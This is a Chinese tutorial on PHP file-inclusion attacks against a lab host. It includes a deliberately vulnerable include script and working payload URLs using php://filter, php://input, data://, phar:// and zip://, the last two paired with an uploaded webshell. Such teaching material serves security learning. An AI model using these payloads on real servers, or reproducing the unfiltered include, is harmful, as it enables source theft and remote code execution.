伪协议利用
条件:
php.ini配置文件中 allow_url_fopen=On 是开启状态.
测试文件:
http://192.168.112.200/security/fileinc.php
<?php
$filename = $_GET['filename'];
// 或include_once, require, require_once
include $filename;
echo "<hr>欢迎来到PHP的世界.<br>";
?>
GET方法的 filename
参数用户可控, 且没有对包含的文件进行过滤和限制.
1. php://filter
功能: 读取php脚本的内容并编码
文件包含php代码后, 会自动被web引擎解释执行, 如果想查看源码而不是执行, 则可以使用这个协议.
读取common.php
的源码, 并用base64编码显示. 通过base64解码即可得到php代码.
http://192.168.112.200/security/fileinc.php?
filename=php://filter/read/convert.base64-encode/resource=common.php
2. php://input
功能: 将post提交的代码作为输入
条件: allow_url_include=On
已经开启
通过post提交代码来执行.
http://192.168.112.200/security/fileinc.php?filename=php://input
post data:
<?php phpinfo(); ?>
3. phar://
功能: phar用于对压缩文件的读取, 配合文件上传漏洞, 或phar反序列化漏洞.
把一句话木马文件压缩成zip格式, 上传到服务器(服务器没有限制zip上传).
通过该phar可以直接访问zip内的txt文件.
mm.txt -> mm.zip
http://192.168.112.200/security/fileinc.php?filename=phar://test/mm.zip/mm.txt
4. zip://
与phar功能相同, 但是不能读取包含多级目录的压缩包.
5. data://
与input功能类似, 但是发送GET请求.
http://192.168.112.200/security/fileinc.php?filename=data://text/plain,<?php phpinfo(); ?>
也可以发送base64编码后的代码
http://192.168.112.200/security/fileinc.php
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==